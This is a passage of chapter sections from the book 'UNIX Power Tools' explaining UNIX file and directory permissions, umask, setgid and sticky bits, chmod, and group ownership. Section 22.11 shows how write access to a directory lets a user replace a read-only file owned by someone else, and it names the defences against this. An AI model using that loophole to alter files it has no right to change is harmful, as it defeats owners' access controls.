Directories use these same permissions, but they have a different meaning. If a directory has read permission, you can see what files are in the directory. Write permission means you can add, remove, or rename files in the directory. Execute allows you to use the directory name when accessing files inside that directory. (Article 18.2 has more information about what's in a directory.) Let's examine this more closely.

Suppose you have read access to a directory, but you do not have execute access to the files in the directory. You can still read the directory, or inode (1.22) information for that file, as returned by the stat(2) system call. That is, you can see the file's name, permissions, size, access times, owner and group, and number of links. You cannot read the contents of the file.

Write permission in a directory allows you to change the contents of a directory. Because the name of the file is stored in the directory, and not the file, write permission in a directory allows creation, renaming, or deletion of files. To be specific, if someone has write permission to your home directory, they can rename or delete your .login file and put a new file in its place. The permissions of your .login file do not matter. Someone can rename a file even if they can't read the contents of a file. (See article 22.11.)

Execute permission on a directory is sometimes called search permission. If you found a directory that gave you execute permission, but not read permission, you could use any file in that directory. However, you must know the name. You cannot look inside the directory to find out the names of the files. Think of this type of directory as a black box. You can throw filenames at this directory, and sometimes you find a file, sometimes you don't. (See article 22.12.)

22.2.1 User, Group, and World

All files have an owner and group associated with them. There are three sets of read/write/execute permissions: one set for the user or owner of the file, one set for the group group (22.13) of the file, and one set for everyone else. These permissions are determined by nine bits in the inode information, and are represented by the characters rwxrwxrwx in an ls -l listing: [1]

[1] On some UNIX systems, ls -l produces an eight-column listing without the group name (here, books). Use ls -lg to get the listing format shown here.

% ls -l
drwxr-xr-x  3 jerry   books      512 Feb 14 11:31 manpages
-rw-r--r--  1 jerry   books    17233 Dec 10  1990 misc.Z
-rwxr-xr-x  1 tim     books      195 Mar 29 18:55 myhead

The first character in the ls -l listing specifies the type of file (17.13). The first three of the nine permissions characters that follow specify the user, the middle three the group, and the last three the world. If the permission is not true, a dash is used to indicate lack of privilege. If you wanted to have a data file that you could read or write, but don't want anyone else to access, the permissions would be rw-------.

An easier way to specify these nine bits is with three octal digits instead of nine characters. (Article 1.23 has diagrams of permission bits and explains how to write permissions as an octal number.) The order is the same, so the above permissions can be described by the octal number 600. The first number specifies the owner's permission. The second number specifies the permission. The last number specifies permission to everyone who is not the owner or not in the group of the file [although permissions don't apply to the superuser (1.24), who can do anything to any file or directory. -JP ].

This last point is subtle. When testing for permissions, the system looks at the groups in order. If you are denied permission, UNIX does not examine the next group. Consider the case of a file that is owned by user jo, is in the group guests, and has the permissions -----xrwx, or 017 in octal. This has the result that user jo cannot use the file, anyone in group guests can execute the program, and everyone else besides jo and guests can read, write, and execute the program. This is not a very common set of permissions. But some people use a similar mechanism (22.14) to deny one group of users from accessing or using a file. In the above case, jo cannot read or write the file she owns. She could use the chmod (22.7) command to grant herself permission to read the file. However, if the file was in a directory owned by someone else, and the directory did not give jo read or search permission, she would not be able to find the file to change its permission.

The above example is an extreme case. Most of the time permissions fall into four cases:

  1. The information is personal. Many people have a directory or two in which they store information they do not wish to be public. Mail should probably be confidential, and all of your mailbox files should be in a directory with permissions of 700, denying everyone but yourself and the superuser read access to your letters. (See article 4.5.)

  2. The information is not personal, yet no one should be able to modify the information. Most of my directories are set up this way, with the permissions of 755.

  3. The files are managed by a team of people. This means group-write permission, or directories with the mode 775.

  4. In the previous case, for confidential projects, you may want to deny access to people outside the group. In this case, make directories with mode 770.

You could just create a directory with the proper permissions, and put the files inside the directory, hoping the permissions of the directory will "protect" the files in the directory. This is not adequate. Suppose you had a directory with permissions 755 and a file with permissions 666 inside the directory. Anyone could change the contents of this file because the world has search access on the directory and write access to the file.

What is needed is a mechanism to prevent any new file from having world-write access. This mechanism exists with the umask command (22.4). If you consider that a new directory would get permissions of 777, and that new files would get permissions of 666, the umask command specifies permissions to "take away" from all new files. To "subtract" world-write permission from a file, 666 must have 002 "subtracted" from the default value to get 664. To subtract group and world write, 666 must have 022 removed to leave 644 as the permissions of the file. These two values of umask are so common that it is useful to have some aliases (10.2) defined:

alias open umask 002
alias shut umask 022

With these two values of umask, new directories will have permissions of 775 or 755. Most people have a umask value of one of these two values.

In a friendly work group, people tend to use the umask of 002, which allows others in your group to make changes to your files. Someone who uses the mask of 022 will cause grief to others working on a project. Trying to compile a program is frustrating when someone else owns files that you must delete but can't. You can rename files if this is the case or ask the system administrator for help.

Members of a team who normally use a default umask of 022 should find a means to change the mask value when working on the project. (Or else risk flames from your fellow workers!) Besides the open alias above, some people have an alias that changes directories and sets the mask to group-write permission:

alias proj "cd /usr/projects/proj;umask 002"

This isn't perfect, because people forget to use aliases. You could have a special cd alias and a private shell file in each project directory that sets the umask when you cd there. Other people could have similar files in the project directory with different names. Article 14.14 shows how.

Still another method is to run find (17.1) three times a day and search for files owned by you in the project directory that have the wrong permission:

$USER
xargs chmod
% find /usr/projects -user $USER ! -perm -020 -print | \
xargs chmod g+w

You can use the command crontab -e (40.15, 40.12) to define when to run this command. [If your system doesn't have personal crontabs, use a self-restarting at job (40.8). -JP ]

22.2.2 Which Group is Which?

Since group-write permission is so important in a team project, you might be wondering how the group of a new file is determined? The answer depends on several factors. Before I cover these, you should note that Berkeley and AT&T-based systems would use different mechanisms to determine the default group.

Originally UNIX required you to specify a new group with the newgrp command. If there was a password for this group in the /etc/group file, and you were not listed as one of the members of the group, you had to type the password to change your group.

Berkeley-based versions of UNIX would use the current directory to determine the group of the new file. That is, if the current directory has cad as the group of the directory, any file created in that directory would be in the same group. To change the default group, just change to a different directory.

Both mechanisms had their good points and bad points. The Berkeley-based mechanism made it convenient to change groups automatically. However, there is a fixed limit of groups one could belong to. SunOS 4 has a limit of 16 groups. Earlier versions had a limit of eight groups.

SunOS and System V Release 4 support both mechanisms. The entire disk can be mounted with either the AT&T or the Berkeley mechanism. If it is necessary to control this on a directory-by-directory basis, a special bit (22.5) in the file permissions is used. If a disk partition is mounted without the Berkeley group mechanism, then a directory with this special bit will make new files have the same group as the directory. Without the special bit, the group of all new files depends on the current group of the user.

- BB

Previous: 22.1 Introduction to File Ownership and Security | UNIX Power Tools | Next: 22.3 Who Will Own a New File?
22.1 Introduction to File Ownership and Security | Book Index | 22.3 Who Will Own a New File?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.3 Who Will Own a New File?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.2 Tutorial on File and Directory Permissions Chapter 22
File Security, Ownership, and Sharing 		Next: 22.4 Setting an Exact umask

22.3 Who Will Own a New File?

If you share files with other users, it's good to be able to tell who will own each file. On BSD-based systems, this is even more important because only the superuser can change file ownership (22.20, 22.21).

  1. When you create a new file, it belongs to you.

  2. When you append to a file with >>file, the owner doesn't change because UNIX doesn't have to create a new file.

  3. When you rename a file with mv, the ownership doesn't change.

    Exception: if you use mv to move a file to another filesystem (1.22), the moved file will belong to you - because, to move across filesystems, mv actually has to copy the file and delete the original.

  4. When you copy a file, the copy belongs to you because you created it (22.11).

  5. When you edit a file:

    • With an editor like vi (30.2), the file keeps its original owner because a new file is never created.

    • An editor like Emacs (32.1), which makes a backup copy, can be different. The backup copy could belong to you or to the original owner. If you replace the edited file with its backup, the file's ownership might have changed:

      % emacs filea
   ...Edit a lot, then decide you don't want your changes...
% mv filea~ filea

If you aren't sure, use ls -l (22.2).

- JP

Previous: 22.2 Tutorial on File and Directory Permissions | UNIX Power Tools | Next: 22.4 Setting an Exact umask
22.2 Tutorial on File and Directory Permissions | Book Index | 22.4 Setting an Exact umask
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.4 Setting an Exact umask

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.3 Who Will Own a New File? Chapter 22
File Security, Ownership, and Sharing 		Next: 22.5 Group Permissions in a Directory with the setgid Bit

22.4 Setting an Exact umask

You can use the umask command to set the default mode for newly created files. Its argument is a three-digit numeric mode that represents the access to be inhibited - masked out - when a file is created. Thus, the value it wants is the octal complement of the numeric file mode you want. To determine this, you simply figure out the numeric equivalent (1.23) for the file mode you want and then subtract it from 777. For example, to get the mode 751 by default, compute 777-751 = 026; this is the value you give to umask:

% umask 026

Once this command is executed, all future files created will be given this protection automatically. System administrators can put a umask command in the system initialization file to set a default for all users. You can set your own umask in your shell setup files (2.1). Article 22.2 has more information about the umask and two aliases for changing yours.

- AF from O'Reilly & Associates' Essential System Administration, Chapter 2

Previous: 22.3 Who Will Own a New File? | UNIX Power Tools | Next: 22.5 Group Permissions in a Directory with the setgid Bit
22.3 Who Will Own a New File? | Book Index | 22.5 Group Permissions in a Directory with the setgid Bit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.5 Group Permissions in a Directory with the setgid Bit

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.4 Setting an Exact umask Chapter 22
File Security, Ownership, and Sharing 		Next: 22.6 Protecting Files with the Sticky Bit

22.5 Group Permissions in a Directory with the setgid Bit

If you work on a UNIX system with lots of users, you may be taking advantage of UNIX group permissions (22.2) to let users in one group write to files in a directory - but not let people in other groups write there.

How does UNIX determine what group should own the files you create? There are three ways:

  1. On most System V-based systems, the effective group ID of the process determines the ownership of the files you create. (Your effective GID is your primary group membership (22.13) unless you're running a SGID (1.23) program.)

  2. On most BSD UNIXes, files are owned by the group that owns the directory in which you create the file.

  3. The rules under SunOS 4.x and System V Release 4 are more complicated. The system administrator decides which of the two above methods a filesystem will use for group ownership. There are other wrinkles, too. A good place to look for the gory details is your system's open(2) manpage... but it's probably easier to just create an empty new file (21.7) and then check the group ownership with ls -l or -lg (22.2).

    You may be able to use the directory's set group ID (setgid) bit to control group ownership. In those cases, if the bit is set, the BSD rules apply. if the bit is not set, the System V rules apply. To set and remove the setgid bit, use the commands chmod g+s (22.7) and chmod g-s, respectively.

You can use the chgrp (1.23) command to change a file's group. However, you must own the file. And you must also be a member of the file's new group.

If you've reset directory mode bits, it's possible to wind up with ls -l permissions that have an uppercase "S", like drwxr-S--. What's that? (It's often a mistake.) The directory's setgid bit is set, but the execute bit isn't set. If you want the directory to be group-accessible, add execute permission with chmod g+x. Otherwise, you may want to clear the setgid bit with chmod g-s.

- JP, ML

Previous: 22.4 Setting an Exact umask | UNIX Power Tools | Next: 22.6 Protecting Files with the Sticky Bit
22.4 Setting an Exact umask | Book Index | 22.6 Protecting Files with the Sticky Bit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.6 Protecting Files with the Sticky Bit

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.5 Group Permissions in a Directory with the setgid Bit Chapter 22
File Security, Ownership, and Sharing 		Next: 22.7 Using chmod to Change File Permission

22.6 Protecting Files with the Sticky Bit

UNIX directory access permissions say that if a user has write permission on a directory, she can rename or remove files there&ndash;even files that don't belong to her (see article 22.11). Many newer versions of UNIX have a way to stop that. The owner of a directory can set its sticky bit (mode (1.23) 1000). The only people who can rename or remove any file in that directory are the file's owner, the directory's owner, and the superuser.

Here's an example: the user jerry makes a world-writable directory and sets the sticky bit (shown as t here):

jerry% mkdir share
jerry% chmod 1777 share
jerry% ls -ld share
drwxrwxrwt   2 jerry    ora           32 Nov 19 10:31 share

Other people create files in it. When jennifer tries to remove a file that belongs to ellie, she can't:

jennifer% ls -l
total 2
-rw-r--r--   1 ellie    ora          120 Nov 19 11:32 data.ellie
-rw-r--r--   1 jennifer ora         3421 Nov 19 15:34 data.jennifer
-rw-r--r--   1 peter    ora          728 Nov 20 12:29 data.peter
jennifer% rm data.ellie
data.ellie: 644 mode ? y
rm: data.ellie not removed.
Permission denied

- JP

Previous: 22.5 Group Permissions in a Directory with the setgid Bit | UNIX Power Tools | Next: 22.7 Using chmod to Change File Permission
22.5 Group Permissions in a Directory with the setgid Bit | Book Index | 22.7 Using chmod to Change File Permission
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.7 Using chmod to Change File Permission

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.6 Protecting Files with the Sticky Bit Chapter 22
File Security, Ownership, and Sharing 		Next: 22.8 The Handy chmod = Operator

22.7 Using chmod to Change File Permission

To change a file's permissions, you need to use the chmod command and you must be the file's owner or root. The command's syntax is pretty simple:

% chmod new-mode file(s)

The new-mode describes the access permissions you want after the change. There are two ways to specify the mode: you can use either a numeric mode or some symbols that describe the changes. I generally prefer the numeric mode (because I'm strange, I suppose). Anyway, to use a numeric mode, decide what permissions you want to have, express them as an octal number (1.23, 22.2), and give a command like:

% chmod 644 report.txt

This gives read and write access to the owner of report.txt and read-only access to everyone else.

Most users prefer to use the symbolic mode to specify permissions. A symbolic chmod command looks like this:

% chmod g-w report.txt

This means "take away write access for group members." The symbols used in mode specifications are shown in Table 22.1.

Table 22.1: chmod Symbolic Modes
Category |  | Mode |  | Description
Who: | u |  |  | User (owner) of the file.
 | g |  |  | Group members.
 | o |  |  | Others.
 | a |  |  | All (i.e., user, group, and others).
What to do: |  | - |  | Take away this permission.
 |  | + |  | Add the indicated permission.
 |  | = |  | Set exactly this permission (22.8).
Permissions: |  |  | r | Read access.
 |  |  | w | Write access.
 |  |  | x | Execute access.
 |  |  | X | Give (or deny) execute permission to directories, or to files that have another "execute" bit set.
 |  |  | s | Set user or group ID (only valid with + or -).
 |  |  | t | Set the"sticky bit" (22.6, 1.23).

(Article 22.2 explains the "Who" and "Permissions" categories.) Here are a few example symbolic modes:

o=r

Set others access to read-only, regardless of what other bits are set.

o+r

Add read access for others.

go-w

Take away write access for group members and others.

a=rw

Give everyone (user, group, and others) read-write (but not execute) access.

Remember that + and - add or delete certain permissions, but leave the others untouched. The commands below show how permissions are added and subtracted:

% ls -l foo
-rwx---x  1 mikel           0 Mar 30 11:02 foo
% chmod a+x foo
% ls -l foo
-rwx-x-x  1 mikel           0 Mar 30 11:02 foo
% chmod o-x,g+r foo
% ls -l foo
-rwxr-x--  1 mikel           0 Mar 30 11:02 foo
%

Note the last chmod command. It shows something we haven't mentioned before. With symbolic mode, you're allowed to combine two (or more) specifications, separated by commas. This command says "take away execute permission for others, and add read access for group members."

chmod
 The GNU version of chmod is on the CD-ROM.

On occasion, I've wanted to change the permissions of a whole directory tree: all the files in a directory and all of its subdirectories. In this case, you want to use chmod -R (the R stands for recursive) or find -exec (17.10). You won't need this often, but when you do, it's a real lifesaver.

- ML

Previous: 22.6 Protecting Files with the Sticky Bit | UNIX Power Tools | Next: 22.8 The Handy chmod = Operator
22.6 Protecting Files with the Sticky Bit | Book Index | 22.8 The Handy chmod = Operator
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.8 The Handy chmod = Operator

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.7 Using chmod to Change File Permission Chapter 22
File Security, Ownership, and Sharing 		Next: 22.9 Protect Important Files: Make Them Unwritable

22.8 The Handy chmod = Operator

Let's say you have a set of files. Some are writable by you, others are read-only. You want to give people in your group the same permissions you have - that is, they can write writable files but can only read the read-only files. It's easy with an underdocumented feature of chmod:

% chmod g=u *

That means "for all files (*), set the group permissions (g) to be the same as the owner permissions (u)." You can also use the letter o for others, which is everyone who's not the owner or in the owner's group. Article 22.2 explains these categories.

If your chmod has a -R (recursive) option, you can make the same change to all files and directories in your current directory and beneath. If you don't have chmod -R, use this find (17.10):

% find . -exec chmod g=u {} \;

The cpmod (22.16) program on the CD-ROM can copy all file permissions.

- JP

Previous: 22.7 Using chmod to Change File Permission | UNIX Power Tools | Next: 22.9 Protect Important Files: Make Them Unwritable
22.7 Using chmod to Change File Permission | Book Index | 22.9 Protect Important Files: Make Them Unwritable
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.9 Protect Important Files: Make Them Unwritable

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.8 The Handy chmod = Operator Chapter 22
File Security, Ownership, and Sharing 		Next: 22.10 cx, cw, c-w: Quick File Permission Changes

22.9 Protect Important Files: Make Them Unwritable

A good way to prevent yourself from making mistakes is to make certain files read-only. If you try to delete a read-only file, you will get a warning. You will also get a warning if you try to move a file onto another file that is write - protected. If you know you want to remove or move a file, even though the file is read-only, you can use the -f option with rm or mv to force the change without warnings.

Manually changing the permissions of files all the time is counterproductive. You could create two aliases to make it easier to type:

# change mode to read only
alias -w chmod -w
# change mode to add write permission
alias +w chmod u+w

[These are really handy! I use a script named c-w and cw, respectively, instead. For shell programming, I also added cx that does chmod +x. Article 22.10 explains the script. -JP ] It is a good idea to remove write permission from some files. Occasionally some files contain information difficult to replace. These files might be included with other, easily replaceable files. Or you might want to protect some files that rarely change. Combined with directory permissions, and the current value of umask (22.4), you can find some file that might be protected in this manner. You can always create a script that adds write permission, edits the file, and removes write permission:

"$@"

${..=..}

#!/bin/sh
# add write permission to the files

chmod u+w "$@"
# edit the files; use vi if VISUAL not defined
${VISUAL=vi} "$@"
# remove write permission
chmod -w "$@"

- BB

Previous: 22.8 The Handy chmod = Operator | UNIX Power Tools | Next: 22.10 cx, cw, c-w: Quick File Permission Changes
22.8 The Handy chmod = Operator | Book Index | 22.10 cx, cw, c-w: Quick File Permission Changes
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.10 cx, cw, c-w: Quick File Permission Changes

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.9 Protect Important Files: Make Them Unwritable Chapter 22
File Security, Ownership, and Sharing 		Next: 22.11 A Loophole: Modifying Files Without Write Access

22.10 cx, cw, c-w: Quick File Permission Changes

Here's a short script that I use a lot. To make a new shell script executable, for example, I type:

% cx scriptfile

Using cw adds write permission; c-w takes it away. This is the single script file for all three commands:

#! /bin/sh
case "$0" in
*cx)  chmod +x "$@" ;;
*cw)  chmod +w "$@" ;;
*c-w) chmod -w "$@" ;;
*)    echo "$0: Help!  Shouldn't get here!" 1>&2; exit 1 ;;
esac

The script has three links. Put it in a file named cx. Then type:

% chmod +x cx
% ln cx cw
% ln cx c-w

The script tests the name it was called with, in $0, to decide which chmod command to run. This trick saves disk space. You can add other commands, too, by adding a line to the case and another link. Or you can use aliases (22.9).

- JP

Previous: 22.9 Protect Important Files: Make Them Unwritable | UNIX Power Tools | Next: 22.11 A Loophole: Modifying Files Without Write Access
22.9 Protect Important Files: Make Them Unwritable | Book Index | 22.11 A Loophole: Modifying Files Without Write Access
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.11 A Loophole: Modifying Files Without Write Access

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.10 cx, cw, c-w: Quick File Permission Changes Chapter 22
File Security, Ownership, and Sharing 		Next: 22.12 A Directory that People Can Access but Can't List

22.11 A Loophole: Modifying Files Without Write Access

No one said that UNIX is perfect (1.34), and one of its nagging problems has always been security. Here's one glitch that you should be aware of. If you don't have write access to a file, you can't modify it. However, if you have write access to the directory, you can get around this as follows:

% ls -l unwritable
-r-r-r-  1 john         334 Mar 30 14:57 unwritable
% cat > unwritable
unwritable: permission denied
% cat unwritable > temp
% vi temp
   ...
% mv temp unwritable
override protection 444 for unwritable? y
% cat unwritable
John wrote this originally, and made the file read-only.
But then Mike came along and wrote:
I should not have been able to do this!!!

I couldn't write the file unwritable directly. But I was able to copy it, and then use vi to make whatever changes I wanted. After all, I had read access, and to copy a file, you only need to be able to read it. When I had my own copy, I could (of course) edit it to my heart's content. When I was done, I was able to mv the new file on top of unwritable. Why? Renaming a file only requires that you be able to write the file's directory. You don't need to be able to write the file itself. (Note that a cp wouldn't work - copying requires unwritable to be writable, if it already exists.) This is one reason to watch directory access fairly closely.

As you can see, allowing directory-write access to others can be dangerous. If this is a problem for you, solve it by setting your umask (22.4) correctly and using chmod (22.7) to fix permissions of existing directories. Or, you may be able to leave the directory writable and set the directory's sticky bit (22.6).

- ML

Previous: 22.10 cx, cw, c-w: Quick File Permission Changes | UNIX Power Tools | Next: 22.12 A Directory that People Can Access but Can't List
22.10 cx, cw, c-w: Quick File Permission Changes | Book Index | 22.12 A Directory that People Can Access but Can't List
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.12 A Directory that People Can Access but Can't List

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.11 A Loophole: Modifying Files Without Write Access Chapter 22
File Security, Ownership, and Sharing 		Next: 22.13 Groups and Group Ownership

22.12 A Directory that People Can Access but Can't List

Do you need to let someone use a file of yours, but you don't want everyone on the system to be able to snoop around in the directory? You can give execute permission, but not read permission, to a directory. Then, if a file in the directory is accessible, a person can use the file by typing the exact filename. ls will say the directory is "unreadable." Wildcards won't work.

Here's an example. Let's say that your home directory has rwxr-xr-x permissions (everyone can access and list files in it). Your username is hanna. You have a subdirectory named project; you set its permissions so that everyone else on the system has execute-only permission.

-d

hanna% pwd
/home/hanna
hanna% chmod 711 project
hanna% ls -ld project project/myplan
drwx--x--x  2    hanna     512  Jul 26 12:14 project
-rw-r--r--  1    hanna    9284  Jul 27 17:34 project/myplan

Now you tell the other user, toria, the exact name of your file, myplan. Like everyone else on the system, she can access your project directory. She can't list it because she doesn't have read permission. Because she knows the exact filename, she can read the file because the file is readable (anyone else could read the file, too, if they knew its exact name):

toria% cd /home/hanna/project
toria% pwd
pwd: can't read .
toria% ls
ls: . unreadable
toria% more myplan
   ...File appears...
toria% ln myplan /home/toria/project.hanna/plan

(We're using the "real" pwd command that reads the filesystem to find your current directory. That's why it complains can't read .. If you're using the shell's shortcut pwd, you probably won't get the error shown above. Article 14.4 has details.)

In the example above, toria made a hard link (18.5) to the myplan file, with a different name, in her own project.hanna directory. (She could have copied, printed, or used any other command that reads the file.) Now, if you (hanna) want to, you can deny everyone's permission to your project directory. toria still has her link to the file, though. She can read it any time she wants to, follow the changes you make to it, and so on:

toria% cd
toria% ls -ld project.hanna project.hanna/plan
drwx------  2    toria     512  Jul 27 16:43 project.hanna
-rw-r--r--  2    hanna    9284  Jul 27 17:34 project.hanna/plan
toria% more project.hanna/plan
   ...File appears...

toria has protected her project.hanna directory so that other users can't find her link to hanna's file.

NOTE: If hanna denies permission to her directory, toria can still read the file through her hard link. If toria had made a symbolic link, though, she wouldn't be able to access the file any more. That's because a hard link keeps the file's i-number (1.22, 18.2) but a symbolic link doesn't.

You might also want to give other users permission to list and access the files in a directory, but not make the directory open to all users. One way to do this is to put a fully accessible directory with an unusual name inside an unreadable directory. Users who know the exact name of the fully accessible directory can cd to it; other users can't find it without its name:

hanna% chmod 711 project
hanna% chmod 777 project/pLaN
hanna% ls -ld project project/pLaN
drwx--x--x  3    hanna     512  Jul 27 17:36 project
drwxrwxrwx  2    hanna     512  Jul 27 17:37 project/pLaN

Users who type cd /home/hanna/project/pLaN can list the directory's contents with ls. With the permissions you've set, other users can also create, delete, and rename files inside the pLaN directory - though you could have used more restrictive permissions like drwxr-xr-x instead.

This setup can still be a little confusing. For instance, as article 14.4 explains, the pwd command won't work for users in the pLaN directory because pwd can't read the project directory. Variables like $cwd (14.13) and $PWD (6.3) will probably have the absolute pathname. If another user gets lost in a restricted directory like this, the best thing to do is cd to the home directory and start again.

- JP

Previous: 22.11 A Loophole: Modifying Files Without Write Access | UNIX Power Tools | Next: 22.13 Groups and Group Ownership
22.11 A Loophole: Modifying Files Without Write Access | Book Index | 22.13 Groups and Group Ownership
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.13 Groups and Group Ownership

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.12 A Directory that People Can Access but Can't List Chapter 22
File Security, Ownership, and Sharing 		Next: 22.14 Add Users to a Group to Deny Permission

22.13 Groups and Group Ownership

Group membership is an important part of UNIX security. All users are members of one or more groups, as determined by your entry in /etc/passwd (36.3) and the /etc/group file.

To find out what groups you belong to, " grep (27.1) for" your entry in /etc/passwd:

% grep mikel /etc/passwd
mikel:sflghjraloweor:50:100:Mike Loukides:/home/mikel:/bin/csh

[If that didn't work, try a command like ypcat passwd | grep mike1. -JP ] The fourth field (the second number) is your primary group ID. Look up this number in the /etc/group file:

% grep 100 /etc/group
staff:*:100:root

Or use ypcat group | grep 100. -JP ] My primary group is staff. Therefore, when I log in, my group ID is set to 100. To see what other groups you belong to, use the groups command if your UNIX version has it. Otherwise, look for your name in /etc/group:

% grep mikel /etc/group
power:*:55:mikel,jerry,tim
weakness:*:60:mikel,harry,susan

[Or ypcat group | grep mike1. -JP ] I'm also a member of the groups power and weakness, with group IDs 55 and 60.

With BSD UNIX, you're always a member of all your groups. This means that I can access files that are owned by the staff, power, and weakness groups, without doing anything in particular. Under System V UNIX, you can only be "in" one group at a time, even though you can be a member of several. (I suppose this is like social clubs; you can belong to the Elks and the Odd Fellows, but you can only wear one silly hat at a time.) If you need to access files that are owned by another group, use the newgrp command:

% newgrp groupname

(System V even lets you change to groups that you don't belong to. In this case, you have to give a group password. Group passwords are rarely used - usually, the password field is filled with a *, which effectively says that there are no valid passwords for this group.)

On most systems, there are groups for major projects or departments, groups for system administration, and maybe one or two groups for visitors. Some BSD-based systems have a wheel group; to become root (1.24), you must belong to wheel. Many systems make terminals writable only by the owner and a special group named tty; this prevents other users from sending characters to your terminal without using an approved setgid (1.23) program like write (1.33).

- ML

Previous: 22.12 A Directory that People Can Access but Can't List | UNIX Power Tools | Next: 22.14 Add Users to a Group to Deny Permission
22.12 A Directory that People Can Access but Can't List | Book Index | 22.14 Add Users to a Group to Deny Permission
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.14 Add Users to a Group to Deny Permission

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.13 Groups and Group Ownership Chapter 22
File Security, Ownership, and Sharing 		Next: 22.15 Juggling Permissions

22.14 Add Users to a Group to Deny Permission

Usually, UNIX group access (22.13) allows a group of users to access a directory or file that they couldn't otherwise access. You can turn this around, though, with groups that deny permission.

NOTE: This trick works only on UNIX systems, like BSD, that let a user belong to more than one group at the same time.

For example, you might work on a computer that has some proprietary files and software that three "guest" accounts shouldn't be able to use. Everyone else on the computer should have access. To do this, put the software in a directory owned by a group named something like deny. Then use chmod to deny permission to that group:

# chmod 705 /usr/local/somedir
# ls -lgd /usr/local/somedir
drwx--r-x  2     root   deny        512  Mar 26 12:14 /usr/local/somedir

Finally, add the guest accounts to the deny group (in the /etc/group file).

UNIX checks permissions in the order user-group-other. The first applicable permission is the one used, even if it denies permission rather than grant it. In this case, none of the guest accounts are root (we hope! :-)). They're members of the group called deny, however - so that permission (---) is checked and the group members are shut out. Other users who aren't members of deny are checked for "other" access (r-x); they can get into the directory.

The same setup works for individual files (like programs). Just be careful about changing system programs that are SUID or SGID (1.23).

- JP, JIK

Previous: 22.13 Groups and Group Ownership | UNIX Power Tools | Next: 22.15 Juggling Permissions
22.13 Groups and Group Ownership | Book Index | 22.15 Juggling Permissions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.15 Juggling Permissions

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.14 Add Users to a Group to Deny Permission Chapter 22
File Security, Ownership, and Sharing 		Next: 22.16 Copying Permissions with cpmod

22.15 Juggling Permissions

Like any security feature, UNIX permissions occasionally get in your way. When you want to let people use your apartment, you have to make sure you can get them a key; and when you want to let someone into your files, you have to make sure they have read and write access.

In the ideal world, each file would have a list of users who can access it, and the file's owner could just add or delete users from that list at will. Some secure versions of UNIX are configured this way, but standard UNIX systems don't provide that degree of control. Instead, we have to know how to juggle UNIX file permissions to achieve our ends.

For example, suppose I have a file called ch01 that I want edited by another user, val. I tell her that the file is /books/ptools/ch01, but she reports to me that she can't access it.

val % cd /books/ptools
val % more ch01
ch01: Permission denied

The reason val can't read the file is that it is set to be readable only by me. val can check the permissions on the file using the -l option to the ls command:

val % ls -l ch01
-rw-------  1 lmui       13727 Sep 21 07:43 ch01

val asks me (lmui) to give her read and write permission on the file. Only the file owner and root can change permission for a file. Now, what's the best way to give val access to ch01?

The fastest and most sure-fire way to give another user permission is to extend read and write permission to everyone:

lmui % chmod 666 ch01
lmui % ls -l ch01
-rw-rw-rw-  1 lmui       13727 Sep 21 07:43 ch01

But this is sort of like leaving your front door wide open so your cat can get in and out. It's far better to extend read and write access to a common group instead of to the entire world. I try to give val access to the file by giving group read and write access:

lmui % chmod 660 ch01
lmui % ls -l ch01
-rw-rw----  1 lmui       13727 Sep 21 07:43 ch01

But val reports that it still doesn't work:

val % more ch01
ch01: Permission denied

